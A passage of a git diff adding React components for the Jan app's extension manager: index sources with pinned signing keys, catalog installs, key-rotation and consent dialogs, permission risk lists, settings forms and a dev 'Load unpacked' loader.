setWarned(pin)+ return+ }+ await onAdd(url.trim(), name.trim(), key)+ setUrl('')+ setName('')+ setPublicKey('')+ setWarned(undefined)+ }++ return (+ <div className="flex flex-col gap-2">+ <Field+ label={t('extensions:sources.url')}+ value={url}+ onChange={changeUrl}+ error={err(errors.url)}+ />+ <Field+ label={t('extensions:sources.name')}+ value={name}+ onChange={setName}+ error={err(errors.name)}+ />+ <Field+ label={t('extensions:sources.publicKey')}+ value={publicKey}+ onChange={setPublicKey}+ error={err(errors.publicKey)}+ />+ {warned && (+ <div+ role="alert"+ className="flex flex-col gap-1 rounded-md border border-amber-500/40 bg-amber-500/10 p-2 text-xs"+ >+ <span>{t('extensions:sources.removedPin.warning')}</span>+ <span className="text-muted-foreground">+ {t('extensions:sources.removedPin.key')}+ </span>+ <code className="break-all">{warned.publicKey}</code>+ </div>+ )}+ <Button size="sm" className="self-end" onClick={submit}>+ {t('extensions:sources.add')}+ </Button>+ </div>+ )+}++function CatalogEntry({+ entry,+ installed,+ onInstall,+}: {+ entry: IndexExtension+ installed?: InstalledExtension+ onInstall: (version: string) => void+}) {+ const { t } = useTranslation()+ const latest = latestVersion(entry.versions)+ const newer =+ latest &&+ (!installed || compareVersions(latest.version, installed.version) > 0)+ const label = !installed+ ? t('extensions:catalog.install')+ : newer+ ? t('extensions:catalog.update', { version: latest.version })+ : t('extensions:catalog.installed')+ return (+ <li className="flex items-start gap-2 py-2">+ <div className="flex flex-col gap-0.5 flex-1">+ <div className="flex items-center gap-2">+ <span className="text-sm font-medium">{entry.displayName}</span>+ {latest && (+ <span className="text-xs text-muted-foreground">+ v{latest.version}+ </span>+ )}+ <span className="text-xs text-muted-foreground">+ {t('extensions:catalog.by', { publisher: entry.publisher })}+ </span>+ </div>+ {entry.description && (+ <span className="text-xs text-muted-foreground">+ {entry.description}+ </span>+ )}+ </div>+ {latest?.provenance && (+ <a+ href={latest.provenance}+ target="_blank"+ rel="noopener noreferrer"+ title={latest.provenance}+ className="bg-foreground/10 px-1 py-0.5 rounded text-foreground/70 text-xs underline"+ >+ {t('extensions:catalog.provenance')}+ </a>+ )}+ <Button+ size="xs"+ variant={newer ? 'default' : 'outline'}+ disabled={!newer}+ onClick={() => latest && onInstall(latest.version)}+ >+ {label}+ </Button>+ </li>+ )+}++/**+ * Asks before re-pinning a source's key to the one its signed index names+ * as next. Nothing changes until the user confirms here.+ */+function RotateKeyDialog({+ source,+ nextPublicKey,+ onConfirm,+ onCancel,+}: {+ source: IndexSource+ nextPublicKey: string+ onConfirm: () => void+ onCancel: () => void+}) {+ const { t } = useTranslation()+ return (+ <Dialog open onOpenChange={(open) => !open && onCancel()}>+ <DialogContent>+ <DialogHeader>+ <DialogTitle>+ {t('extensions:sources.rotate.title', { name: source.name })}+ </DialogTitle>+ <DialogDescription>+ {t('extensions:sources.rotate.description')}+ </DialogDescription>+ </DialogHeader>+ <div className="flex flex-col gap-1 text-xs">+ <span>{t('extensions:sources.rotate.current')}</span>+ <code className="break-all">{source.publicKey}</code>+ <span>{t('extensions:sources.rotate.next')}</span>+ <code className="break-all">{nextPublicKey}</code>+ </div>+ <DialogFooter>+ <Button size="sm" variant="ghost" onClick={onCancel}>+ {t('extensions:cancel')}+ </Button>+ <Button size="sm" onClick={onConfirm}>+ {t('extensions:sources.rotate.confirm')}+ </Button>+ </DialogFooter>+ </DialogContent>+ </Dialog>+ )+}++/** Asks before a keyed source and its pinned key are removed. */+function RemoveKeyedSourceDialog({+ source,+ onConfirm,+ onCancel,+}: {+ source: IndexSource+ onConfirm: () => void+ onCancel: () => void+}) {+ const { t } = useTranslation()+ return (+ <Dialog open onOpenChange={(open) => !open && onCancel()}>+ <DialogContent>+ <DialogHeader>+ <DialogTitle>+ {t('extensions:sources.removeKeyed.title', { name: source.name })}+ </DialogTitle>+ <DialogDescription>+ {t('extensions:sources.removeKeyed.description')}+ </DialogDescription>+ </DialogHeader>+ <code className="break-all text-xs">{source.publicKey}</code>+ <DialogFooter>+ <Button size="sm" variant="ghost" onClick={onCancel}>+ {t('extensions:cancel')}+ </Button>+ <Button size="sm" variant="destructive" onClick={onConfirm}>+ {t('extensions:sources.removeKeyed.confirm')}+ </Button>+ </DialogFooter>+ </DialogContent>+ </Dialog>+ )+}++/** What a repair of the stored sources dropped. */+function SourcesNoticeBanner({ notice }: { notice: SourcesNotice }) {+ const { t } = useTranslation()+ const dropped = notice.dropped+ .map((d) =>+ d.name && d.url ? `${d.name} (${d.url})` : (d.name ?? d.url ?? '?')+ )+ .join(', ')+ return (+ <div+ role="status"+ className="rounded-md border border-amber-500/40 bg-amber-500/10 px-3 py-2 text-xs"+ >+ {notice.dropped.length > 0+ ? t('extensions:sources.notice.dropped', {+ sources: dropped,+ path: notice.movedTo,+ })+ : t('extensions:sources.notice.unreadable', { path: notice.movedTo })}+ </div>+ )+}++function SourceCatalog({+ source,+ registry,+ onRemove,+ onRotated,+ begin,+}: {+ source: IndexSource+ registry: InstalledRegistry+ onRemove: () => void+ /** Called once a key rotation was accepted, to re-read the sources. */+ onRotated: () => Promise<void>+ begin: Begin+}) {+ const { t } = useTranslation()+ const { service, change } = registry+ const [catalog, setCatalog] = useState<Catalog>()+ const [error, setError] = useState<string>()+ const [rotating, setRotating] = useState(false)+ const [confirmRemove, setConfirmRemove] = useState(false)++ useEffect(() => {+ let live = true+ service.getCatalog(source.id).then(+ (index) => live && setCatalog(index),+ (e: unknown) =>+ live &&+ setError(+ t('extensions:errors.catalog', {+ source: source.name,+ error: errorMessage(e),+ })+ )+ )+ return () => {+ live = false+ }+ }, [service, source.id, source.name, source.publicKey, t])++ const rotate = (next: string) => {+ setRotating(false)+ return change(async () => {+ await service.acceptNextKey(source.id, next)+ await onRotated()+ })+ }+ const offer = catalog?.nextPublicKey ?? undefined++ const installedById = new Map(+ (registry.registry?.extensions ?? []).map((e) => [e.id, e])+ )+ return (+ <Card+ header={+ <div className="flex items-center gap-2 mb-2">+ <div className="flex flex-col flex-1 min-w-0">+ <span className="text-foreground font-studio font-medium text-base">+ {source.name}+ </span>+ <span className="text-xs text-muted-foreground truncate">+ {source.url}+ </span>+ {source.publicKey ? (+ <span className="text-xs text-muted-foreground">+ {t('extensions:sources.keyPinned')}+ </span>+ ) : (+ <span className="flex items-center gap-2">+ <UnsignedSourceBadge />+ <span className="text-xs text-muted-foreground">+ {t('extensions:sources.unsignedHint')}+ </span>+ </span>+ )}+ </div>+ <Button+ size="icon-xs"+ variant="ghost"+ aria-label={t('extensions:sources.remove', { name: source.name })}+ onClick={() =>+ source.publicKey ? setConfirmRemove(true) : onRemove()+ }+ >+ <IconTrash size={14} />+ </Button>+ </div>+ }+ >+ {confirmRemove && (+ <RemoveKeyedSourceDialog+ source={source}+ onConfirm={() => {+ setConfirmRemove(false)+ onRemove()+ }}+ onCancel={() => setConfirmRemove(false)}+ />+ )}+ {offer && (+ <div className="flex items-center gap-2 mb-2 rounded-md border border-border p-2">+ <span className="text-xs flex-1">+ {t('extensions:sources.rotate.offer')}+ </span>+ <Button size="xs" variant="outline" onClick={() => setRotating(true)}>+ {t('extensions:sources.rotate.review')}+ </Button>+ </div>+ )}+ {offer && rotating && (+ <RotateKeyDialog+ source={source}+ nextPublicKey={offer}+ onConfirm={() => void rotate(offer)}+ onCancel={() => setRotating(false)}+ />+ )}+ {error ? (+ <span role="alert" className="text-xs text-destructive">+ {error}+ </span>+ ) : !catalog ? (+ <span className="text-xs text-muted-foreground">+ {t('extensions:catalog.loading')}+ </span>+ ) : catalog.index.extensions.length === 0 ? (+ <span className="text-xs text-muted-foreground">+ {t('extensions:catalog.empty')}+ </span>+ ) : (+ <ul className="divide-y divide-border">+ {catalog.index.extensions.map((entry) => (+ <CatalogEntry+ key={entry.id}+ entry={entry}+ installed={installedById.get(entry.id)}+ onInstall={(version) =>+ begin(+ () => service.stageFromIndex(source.id, entry.id, version),+ source.name+ )+ }+ />+ ))}+ </ul>+ )}+ </Card>+ )+}++/**+ * The index sources the user added, each with its catalog. Installing+ * from a catalog goes through the same consent as a file (`begin`).+ */+export function CatalogList({+ registry,+ begin,+}: {+ registry: InstalledRegistry+ begin: Begin+}) {+ const { t } = useTranslation()+ const { service, change } = registry+ const [sources, setSources] = useState<IndexSource[]>([])+ const [removedPins, setRemovedPins] = useState<RemovedPin[]>([])+ const [notice, setNotice] = useState<SourcesNotice | null>(null)++ const refresh = useCallback(async () => {+ const listed = await service.listSources()+ setSources(listed.sources)+ setRemovedPins(listed.removedPins)+ setNotice(listed.notice)+ }, [service])++ useEffect(() => {+ void refresh().catch(() => undefined)+ }, [refresh])++ const add = (url: string, name: string, publicKey?: string) =>+ change(async () => {+ await service.addSource(url, name, publicKey)+ await refresh()+ })++ const remove = (id: string) =>+ change(async () => {+ await service.removeSource(id)+ await refresh()+ })++ return (+ <div className="flex flex-col gap-3">+ <Card+ header={+ <div className="flex flex-col gap-1 mb-2">+ <span className="text-foreground font-studio font-medium text-base">+ {t('extensions:sources.title')}+ </span>+ <span className="text-xs text-muted-foreground">+ {t('extensions:sources.description')}+ </span>+ </div>+ }+ >+ <AddSourceForm removedPins={removedPins} onAdd={add} />+ </Card>+ {notice && <SourcesNoticeBanner notice={notice} />}+ {sources.length === 0 ? (+ <p className="text-sm text-muted-foreground">+ {t('extensions:sources.none')}+ </p>+ ) : (+ sources.map((source) => (+ <SourceCatalog+ key={source.id}+ source={source}+ registry={registry}+ onRemove={() => remove(source.id)}+ onRotated={refresh}+ begin={begin}+ />+ ))+ )}+ </div>+ )+}diff --git a/web-app/src/containers/extensions/ConsentDialog.tsx b/web-app/src/containers/extensions/ConsentDialog.tsxnew file mode 100644index 000000000..251c1067f--- /dev/null+++ b/web-app/src/containers/extensions/ConsentDialog.tsx@@ -0,0 +1,26 @@+import { useTranslation } from '@/i18n/react-i18next-compat'+import { useLocalize } from '@/lib/extensions/l10n'+import { PermissionList } from './PermissionList'+import { StagedDialog, type StagedDialogProps } from './StagedDialog'++/** Consent to a first install: everything the extension requests. */+export function ConsentDialog(props: StagedDialogProps) {+ const { t } = useTranslation()+ const localize = useLocalize()+ const { manifest } = props.staged+ return (+ <StagedDialog+ {...props}+ title={t('extensions:install.title', {+ name: localize(manifest, manifest.displayName),+ })}+ description={t('extensions:install.description', {+ publisher: manifest.publisher,+ version: manifest.version,+ })}+ confirmLabel={t('extensions:install.confirm')}+ >+ <PermissionList permissions={manifest.permissions} />+ </StagedDialog>+ )+}diff --git a/web-app/src/containers/extensions/ContributedMenuItems.tsx b/web-app/src/containers/extensions/ContributedMenuItems.tsxnew file mode 100644index 000000000..25bc85724--- /dev/null+++ b/web-app/src/containers/extensions/ContributedMenuItems.tsx@@ -0,0 +1,105 @@+import type { MenuLocation } from '@janhq/extension-api'+import { IconDots } from '@tabler/icons-react'+import {+ DropdownMenu,+ DropdownMenuContent,+ DropdownMenuItem,+ DropdownMenuSeparator,+ DropdownMenuTrigger,+} from '@/components/ui/dropdown-menu'+import { Button } from '@/components/ui/button'+import { useTranslation } from '@/i18n/react-i18next-compat'+import {+ useContributedMenuItems,+ type ContributedMenuItem,+ type MenuContext,+} from './menuItems'+import { useExecuteCommand } from './useExecuteCommand'++interface ContributedMenuItemsProps<L extends MenuLocation> {+ location: L+ context: MenuContext<L>+ /** Draw a separator above the items, for appending to an existing menu. */+ separator?: boolean+}++function Items({+ items,+ onSelect,+}: {+ items: ContributedMenuItem[]+ onSelect: (item: ContributedMenuItem) => void+}) {+ return items.map((item) => (+ <DropdownMenuItem+ key={`${item.extensionId}/${item.commandId}`}+ onSelect={() => onSelect(item)}+ >+ <span className="truncate">{item.title}</span>+ <span className="ml-auto pl-2 text-xs text-muted-foreground truncate">+ {item.extensionName}+ </span>+ </DropdownMenuItem>+ ))+}++/**+ * Extension commands contributed to `location`, rendered as items of the+ * dropdown menu this is placed in. Renders nothing when there are none.+ */+export function ContributedMenuItems<L extends MenuLocation>({+ location,+ context,+ separator,+}: ContributedMenuItemsProps<L>) {+ const items = useContributedMenuItems(location, context)+ const execute = useExecuteCommand()+ if (items.length === 0) return null+ return (+ <>+ {separator && <DropdownMenuSeparator />}+ <Items+ items={items}+ onSelect={(item) =>+ void execute(item.extensionId, item.commandId, context)+ }+ />+ </>+ )+}++/**+ * A "more actions" button opening the commands contributed to `location`,+ * for surfaces that have no menu of their own. Hidden when there are none.+ */+export function ContributedOverflowMenu<L extends MenuLocation>({+ location,+ context,+}: Omit<ContributedMenuItemsProps<L>, 'separator'>) {+ const { t } = useTranslation()+ const items = useContributedMenuItems(location, context)+ const execute = useExecuteCommand()+ if (items.length === 0) return null+ return (+ <DropdownMenu>+ <DropdownMenuTrigger asChild>+ <Button+ variant="ghost"+ size="icon-xs"+ aria-label={t('extensions:moreActions')}+ title={t('extensions:moreActions')}+ >+ <IconDots size={16} />+ </Button>+ </DropdownMenuTrigger>+ <DropdownMenuContent align="start">+ <Items+ items={items}+ onSelect={(item) =>+ void execute(item.extensionId, item.commandId, context)+ }+ />+ </DropdownMenuContent>+ </DropdownMenu>+ )+}diff --git a/web-app/src/containers/extensions/ExtensionSettingsForm.tsx b/web-app/src/containers/extensions/ExtensionSettingsForm.tsxnew file mode 100644index 000000000..00cb8f07c--- /dev/null+++ b/web-app/src/containers/extensions/ExtensionSettingsForm.tsx@@ -0,0 +1,139 @@+import { useEffect, useState } from 'react'+import { toast } from 'sonner'+import type { SettingContribution, SettingValue } from '@janhq/extension-api'+import { CardItem } from '@/containers/Card'+import { DynamicControllerSetting } from '@/containers/dynamicControllerSetting'+import { useTranslation } from '@/i18n/react-i18next-compat'+import { own, useContributions } from '@/lib/extensions/contributions'+import { getExtensionHost } from '@/lib/extensions/host'+import { useLocalize } from '@/lib/extensions/l10n'++type ControllerProps = Parameters<+ typeof DynamicControllerSetting+>[0]['controllerProps']++function controllerProps(+ setting: SettingContribution,+ value: SettingValue,+ text: (s: string) => string+): ControllerProps {+ const { control } = setting+ switch (control.type) {+ case 'input':+ return {+ value: value as string,+ placeholder:+ control.placeholder === undefined+ ? undefined+ : text(control.placeholder),+ type: setting.secret ? 'password' : control.inputType,+ input_actions: setting.secret ? ['unobscure'] : [],+ }+ case 'checkbox':+ return { value }+ case 'dropdown':+ return {+ value,+ options: control.options.map((o) => ({+ value: o.value,+ name: text(o.label),+ })),+ }+ case 'slider':+ return { value, min: control.min, max: control.max, step: control.step }+ case 'textarea':+ return { value, rows: control.rows }+ }+}++/**+ * The control returns numbers for numeric inputs, but every input setting+ * stores a string, so bring it back to the type the control declares.+ */+function toSettingValue(+ setting: SettingContribution,+ value: string | boolean | number+): SettingValue {+ const { type } = setting.control+ return type === 'input' || type === 'textarea' ? String(value) : value+}++function SettingRow({+ extensionId,+ setting,+}: {+ extensionId: string+ setting: SettingContribution+}) {+ const { t } = useTranslation()+ const localize = useLocalize()+ const extension = useContributions((s) => own(s.extensions, extensionId))+ const text = (s: string) => localize(extension, s)+ const title = text(setting.title)+ const [value, setValue] = useState<SettingValue>(setting.control.default)++ useEffect(() => {+ let cancelled = false+ getExtensionHost()+ .settings.getSettingValue(extensionId, setting.key)+ .then((stored) => {+ if (!cancelled && stored !== undefined) setValue(stored)+ })+ .catch((error) =>+ console.error(`Failed to read setting '${setting.key}':`, error)+ )+ return () => {+ cancelled = true+ }+ }, [extensionId, setting.key])++ const onChange = (raw: string | boolean | number) => {+ const next = toSettingValue(setting, raw)+ setValue(next)+ getExtensionHost()+ .settings.setSettingValue(extensionId, setting.key, next)+ .catch((error) => {+ console.error(`Failed to save setting '${setting.key}':`, error)+ toast.error(+ t('extensions:settingSaveFailed', { setting: title }),+ {+ description: error instanceof Error ? error.message : String(error),+ }+ )+ })+ }++ const column =+ setting.control.type === 'textarea' || setting.control.type === 'slider'+ return (+ <CardItem+ title={title}+ description={+ setting.description === undefined+ ? undefined+ : text(setting.description)+ }+ column={column}+ actions={+ <DynamicControllerSetting+ controllerType={setting.control.type}+ controllerProps={controllerProps(setting, value, text)}+ onChange={onChange}+ />+ }+ />+ )+}++/** The declared settings of one host extension, written through its settings store. */+export function ExtensionSettingsForm({+ extensionId,+ settings,+}: {+ extensionId: string+ settings: SettingContribution[]+}) {+ return settings.map((setting) => (+ <SettingRow key={setting.key} extensionId={extensionId} setting={setting} />+ ))+}diff --git a/web-app/src/containers/extensions/HostedExtensionCard.tsx b/web-app/src/containers/extensions/HostedExtensionCard.tsxnew file mode 100644index 000000000..2c700bf28--- /dev/null+++ b/web-app/src/containers/extensions/HostedExtensionCard.tsx@@ -0,0 +1,133 @@+import type { ReactNode } from 'react'+import { toast } from 'sonner'+import { Button } from '@/components/ui/button'+import { Card } from '@/containers/Card'+import { RenderMarkdown } from '@/containers/RenderMarkdown'+import { useTranslation } from '@/i18n/react-i18next-compat'+import { useLocalize } from '@/lib/extensions/l10n'+import { getExtensionHost, type HostedExtension } from '@/lib/extensions/host'+import type { ValidatedManifest } from '@janhq/extension-api'+import { ExtensionSettingsForm } from './ExtensionSettingsForm'+import { errorMessage } from './useExtensions'++function Version({ version }: { version: string }) {+ return (+ <div className="bg-foreground/10 px-1 py-0.5 rounded text-foreground/70 text-xs">+ v{version}+ </div>+ )+}++function Description({ content }: { content: string }) {+ return (+ <RenderMarkdown+ content={content}+ components={{+ p: ({ ...props }) => <p {...props} className="mb-0!" />,+ }}+ />+ )+}++/**+ * One extension: name, version, badges, state and its controls (`actions`),+ * then its settings once it registered them. Used by every section of the+ * list and by the details page.+ */+export function ExtensionCard({+ manifest,+ version = manifest.version,+ hosted,+ badges,+ actions,+ showSettings = true,+}: {+ manifest: ValidatedManifest+ version?: string+ /** The running copy, when the host has one. */+ hosted?: HostedExtension+ badges?: ReactNode+ actions?: ReactNode+ showSettings?: boolean+}) {+ const { t } = useTranslation()+ const localize = useLocalize()+ const settings = manifest.contributes?.settings ?? []+ return (+ <Card+ header={+ <div className="flex flex-col gap-1 mb-4">+ <div className="flex items-center gap-x-2">+ <h1 className="text-foreground font-studio font-medium text-base">+ {localize(manifest, manifest.displayName)}+ </h1>+ <Version version={version} />+ {badges}+ {hosted && (+ <span className="text-xs text-muted-foreground">+ {t(`extensions:state.${hosted.state}`)}+ </span>+ )}+ {actions && (+ <div className="ml-auto flex items-center gap-2">{actions}</div>+ )}+ </div>+ {manifest.description && (+ <Description content={localize(manifest, manifest.description)} />+ )}+ {hosted?.state === 'failed' && hosted.error && (+ <span className="text-xs text-destructive">+ {t('extensions:activationFailed', { error: hosted.error })}+ </span>+ )}+ {hosted?.state === 'crashed' && hosted.error && (+ <span className="text-xs text-destructive">+ {t('extensions:crashed.reason', { error: hosted.error })}+ </span>+ )}+ </div>+ }+ >+ {/* Settings are only readable once the extension registered them. */}+ {showSettings && hosted?.state === 'active' && settings.length > 0 && (+ <ExtensionSettingsForm extensionId={hosted.id} settings={settings} />+ )}+ </Card>+ )+}++/** A folder loaded with "Load unpacked": labelled, and unloadable. */+export function DevExtensionCard({ extension }: { extension: HostedExtension }) {+ const { t } = useTranslation()+ const localize = useLocalize()+ const unload = () =>+ getExtensionHost()+ .unload(extension.id)+ .catch((e: unknown) =>+ toast.error(+ t('extensions:unloadFailed', {+ extension: localize(+ extension.manifest,+ extension.manifest.displayName+ ),+ error: errorMessage(e),+ })+ )+ )+ return (+ <ExtensionCard+ manifest={extension.manifest}+ hosted={extension}+ badges={+ <span className="bg-primary/10 px-1 py-0.5 rounded text-primary text-xs">+ {t('extensions:development')}+ </span>+ }+ actions={+ <Button size="xs" variant="outline" onClick={unload}>+ {t('extensions:unload')}+ </Button>+ }+ />+ )+}diff --git a/web-app/src/containers/extensions/LoadUnpacked.tsx b/web-app/src/containers/extensions/LoadUnpacked.tsxnew file mode 100644index 000000000..0a07c96cd--- /dev/null+++ b/web-app/src/containers/extensions/LoadUnpacked.tsx@@ -0,0 +1,122 @@+import { useState } from 'react'+import { Button } from '@/components/ui/button'+import {+ Dialog,+ DialogContent,+ DialogDescription,+ DialogFooter,+ DialogHeader,+ DialogTitle,+} from '@/components/ui/dialog'+import { useServiceHub } from '@/hooks/useServiceHub'+import { useTranslation } from '@/i18n/react-i18next-compat'+import { useLocalize } from '@/lib/extensions/l10n'+import {+ DevLoadError,+ loadUnpacked,+ readUnpacked,+ type UnpackedExtension,+} from '@/lib/extensions/dev-loader'+import { PermissionList } from './PermissionList'++function errorText(+ t: (key: string, options?: Record<string, unknown>) => string,+ error: unknown+): string {+ if (error instanceof DevLoadError)+ return t(`extensions:devLoad.${error.code}`, error.params)+ return error instanceof Error ? error.message : String(error)+}++/**+ * The dev-only "Load unpacked" button: picks an extension folder, shows+ * what it requests, and on confirmation runs it as a `dev` worker+ * extension. Errors are shown inline under the button.+ */+export function LoadUnpacked() {+ const { t } = useTranslation()+ const localize = useLocalize()+ const serviceHub = useServiceHub()+ const [pending, setPending] = useState<UnpackedExtension>()+ const [error, setError] = useState<string>()+ const [busy, setBusy] = useState(false)++ const pick = async () => {+ setError(undefined)+ const selection = await serviceHub.dialog().open({ directory: true })+ const dir = Array.isArray(selection) ? selection[0] : selection+ if (!dir) return+ try {+ setPending(await readUnpacked(dir))+ } catch (e) {+ setError(errorText(t, e))+ }+ }++ const confirm = async () => {+ if (!pending) return+ setBusy(true)+ try {+ // A failed activation stays listed with its reason, like a built-in.+ await loadUnpacked(pending)+ setPending(undefined)+ } catch (e) {+ setPending(undefined)+ setError(errorText(t, e))+ } finally {+ setBusy(false)+ }+ }++ const manifest = pending?.manifest+ return (+ <div className="flex flex-col items-end gap-1">+ <Button size="sm" variant="outline" onClick={pick}>+ {t('extensions:devLoad.button')}+ </Button>+ {error && (+ <span role="alert" className="text-xs text-destructive">+ {error}+ </span>+ )}+ <Dialog+ open={pending !== undefined}+ onOpenChange={(open) => !open && !busy && setPending(undefined)}+ >+ <DialogContent>+ <DialogHeader>+ <DialogTitle>+ {t('extensions:devLoad.title', {+ name: manifest && localize(manifest, manifest.displayName),+ })}+ </DialogTitle>+ <DialogDescription>+ {t('extensions:devLoad.description')}+ </DialogDescription>+ </DialogHeader>+ {manifest && <PermissionList permissions={manifest.permissions} />}+ {manifest?.proposals && manifest.proposals.length > 0 && (+ <p className="text-xs text-muted-foreground">+ {t('extensions:devLoad.proposals', {+ proposals: manifest.proposals.join(', '),+ })}+ </p>+ )}+ <DialogFooter>+ <Button+ size="sm"+ variant="ghost"+ disabled={busy}+ onClick={() => setPending(undefined)}+ >+ {t('extensions:cancel')}+ </Button>+ <Button size="sm" disabled={busy} onClick={confirm}>+ {t('extensions:devLoad.confirm')}+ </Button>+ </DialogFooter>+ </DialogContent>+ </Dialog>+ </div>+ )+}diff --git a/web-app/src/containers/extensions/PermissionDiffDialog.tsx b/web-app/src/containers/extensions/PermissionDiffDialog.tsxnew file mode 100644index 000000000..255ebcbed--- /dev/null+++ b/web-app/src/containers/extensions/PermissionDiffDialog.tsx@@ -0,0 +1,51 @@+import { useTranslation } from '@/i18n/react-i18next-compat'+import { useLocalize } from '@/lib/extensions/l10n'+import { PermissionList } from './PermissionList'+import { StagedDialog, type StagedDialogProps } from './StagedDialog'++/**+ * Consent to an update: only what it asks for beyond the current grants.+ * Permissions it no longer requests are listed for information; they are+ * dropped from the grants on confirm.+ */+export function PermissionDiffDialog(props: StagedDialogProps) {+ const { t } = useTranslation()+ const localize = useLocalize()+ const { manifest, permissionDiff } = props.staged+ const addedLabel = t('extensions:update.added')+ const removedLabel = t('extensions:update.removed')+ return (+ <StagedDialog+ {...props}+ title={t('extensions:update.title', {+ name: localize(manifest, manifest.displayName),+ version: manifest.version,+ })}+ description={t('extensions:update.description', {+ version: props.staged.existing?.version,+ })}+ confirmLabel={t('extensions:update.confirm')}+ >+ {permissionDiff.added.length > 0 ? (+ <div className="flex flex-col gap-1">+ <span className="text-xs font-medium">{addedLabel}</span>+ <PermissionList+ permissions={permissionDiff.added}+ label={addedLabel}+ />+ </div>+ ) : (+ <p className="text-sm">{t('extensions:update.nothingAdded')}</p>+ )}+ {permissionDiff.removed.length > 0 && (+ <div className="flex flex-col gap-1 opacity-70">+ <span className="text-xs font-medium">{removedLabel}</span>+ <PermissionList+ permissions={permissionDiff.removed}+ label={removedLabel}+ />+ </div>+ )}+ </StagedDialog>+ )+}diff --git a/web-app/src/containers/extensions/PermissionList.tsx b/web-app/src/containers/extensions/PermissionList.tsxnew file mode 100644index 000000000..8254d8719--- /dev/null+++ b/web-app/src/containers/extensions/PermissionList.tsx@@ -0,0 +1,86 @@+import type { ReactNode } from 'react'+import type { PermissionString } from '@janhq/extension-api'+import { useTranslation } from '@/i18n/react-i18next-compat'+import {+ PERMISSIONS,+ parsePermission,+ reachesLocalApiServer,+ riskOf,+ type PermissionRisk,+} from '@/lib/extensions/permissions'+import { cn } from '@/lib/utils'++const RISK_CLASS: Record<PermissionRisk, string> = {+ low: 'text-muted-foreground',+ medium: 'text-amber-600 dark:text-amber-400',+ high: 'text-destructive',+}++function PermissionRow({+ permission,+ action,+}: {+ permission: PermissionString+ action?: ReactNode+}) {+ const { t } = useTranslation()+ const parsed = parsePermission(permission)+ if (!parsed) return null+ const info = PERMISSIONS[parsed.kind]+ const host = parsed.kind === 'network' ? parsed.host : undefined+ const risk = riskOf(permission)+ return (+ <li className="flex items-start gap-2">+ <div className="flex flex-col gap-0.5 flex-1">+ <div className="flex items-center gap-2">+ <span className="text-sm font-medium">+ {t(info.titleKey, { host })}+ </span>+ <span className={cn('text-xs', RISK_CLASS[risk])}>+ {t(`extensions:risk.${risk}`)}+ </span>+ </div>+ <span className="text-xs text-muted-foreground">+ {t(info.descriptionKey)}+ </span>+ {reachesLocalApiServer(permission) && (+ <span className="text-xs text-amber-600 dark:text-amber-400">+ {t(+ host === '*'+ ? 'extensions:permissions.network.localServers'+ : 'extensions:permissions.network.localPorts'+ )}+ </span>+ )}+ </div>+ {action}+ </li>+ )+}++/**+ * Permissions with their translated title, description and risk, as every+ * consent and settings screen shows them. `action` adds a control per row+ * (the details page's Revoke).+ */+export function PermissionList({+ permissions,+ label,+ action,+}: {+ permissions: readonly PermissionString[]+ /** Accessible name of the list, when a screen shows more than one. */+ label?: string+ action?: (permission: PermissionString) => ReactNode+}) {+ const { t } = useTranslation()+ if (permissions.length === 0)+ return <p className="text-sm">{t('extensions:noPermissions')}</p>+ return (+ <ul aria-label={label} className="flex flex-col gap-2">+ {permissions.map((p) => (+ <PermissionRow key={p} permission={p} action={action?.(p)} />+ ))}+ </ul>+ )+}diff --git a/web-app/src/containers/extensions/SafeModeBanner.tsx b/web-app/src/containers/extensions/SafeModeBanner.tsxnew file mode 100644index 000000000..2af7ed891--- /dev/null+++ b/web-app/src/containers/extensions/SafeModeBanner.tsx@@ -0,0 +1,18 @@+import { Button } from '@/components/ui/button'+import { useTranslation } from '@/i18n/react-i18next-compat'++/** Says why installed extensions are not running, with the way out. */+export function SafeModeBanner({ onTurnOff }: { onTurnOff: () => void }) {+ const { t } = useTranslation()+ return (+ <div+ role="status"+ className="flex items-center justify-between gap-2 rounded-md border border-amber-500/40 bg-amber-500/10 px-3 py-2 text-sm"+ >+ <span>{t('extensions:safeMode.banner')}</span>+ <Button size="xs" variant="outline" onClick={onTurnOff}>+ {t('extensions:safeMode.turnOff')}+ </Button>+ </div>+ )+}diff --git a/web-app/src/containers/extensions/StagedDialog.tsx b/web-app/src/containers/extensions/StagedDialog.tsxnew file mode 100644index 000000000..7d6e9f9d0--- /dev/null+++ b/web-app/src/containers/extensions/StagedDialog.tsx@@ -0,0 +1,217 @@+import { useId, useState, type ReactNode } from 'react'+import type { PermissionString } from '@janhq/extension-api'+import { Checkbox } from 'radix-ui'+import { IconCheck } from '@tabler/icons-react'+import { Button } from '@/components/ui/button'+import {+ Dialog,+ DialogContent,+ DialogDescription,+ DialogFooter,+ DialogHeader,+ DialogTitle,+} from '@/components/ui/dialog'+import { Label } from '@/components/ui/label'+import { useTranslation } from '@/i18n/react-i18next-compat'+import { useLocalize } from '@/lib/extensions/l10n'+import type { StagedInstall } from '@/services/extensions/types'+import { UnsignedSourceBadge, UnverifiedBadge } from './TrustBadge'++/**+ * Where a staged bundle came from, shared by the install and update+ * dialogs. Only a bundle verified by the key pinned for its source goes+ * through as is; a file from disk or an entry of an unsigned source shows+ * its hash and must be explicitly trusted (`trusted`/`onTrustedChange`)+ * before it can be installed.+ */+function StagedOrigin({+ staged,+ sourceName,+ trusted,+ onTrustedChange,+}: {+ staged: StagedInstall+ /** The index the bundle came from, for index installs. */+ sourceName?: string+ trusted: boolean+ onTrustedChange: (trusted: boolean) => void+}) {+ const { t } = useTranslation()+ const checkboxId = useId()+ const source =+ staged.source.kind === 'index' ? staged.source.sourceName : sourceName+ if (staged.verified)+ return (+ <div className="flex flex-col gap-0.5 text-xs">+ {source && (+ <span className="font-medium">+ {t('extensions:origin.verifiedBy', { source })}+ </span>+ )}+ <span className="text-muted-foreground">+ {t('extensions:origin.integrityChecked')}+ </span>+ </div>+ )+ const fromIndex = staged.integrityChecked+ return (+ <div className="flex flex-col gap-2 rounded-md border border-destructive/40 p-2">+ {fromIndex && source && (+ <span className="text-xs font-medium">+ {t('extensions:origin.fromSource', { source })}+ </span>+ )}+ <div className="flex items-center gap-2">+ {fromIndex ? <UnsignedSourceBadge /> : <UnverifiedBadge />}+ <span className="text-xs text-muted-foreground">+ {t(+ fromIndex+ ? 'extensions:origin.unsignedSourceHint'+ : 'extensions:origin.unverifiedHint'+ )}+ </span>+ </div>+ <code className="text-xs break-all">+ {t('extensions:origin.sha512', { hash: staged.sha512 })}+ </code>+ <div className="flex items-center gap-2">+ <Checkbox.Root+ id={checkboxId}+ checked={trusted}+ onCheckedChange={(value) => onTrustedChange(value === true)}+ className="size-4 shrink-0 rounded border border-input flex items-center justify-center 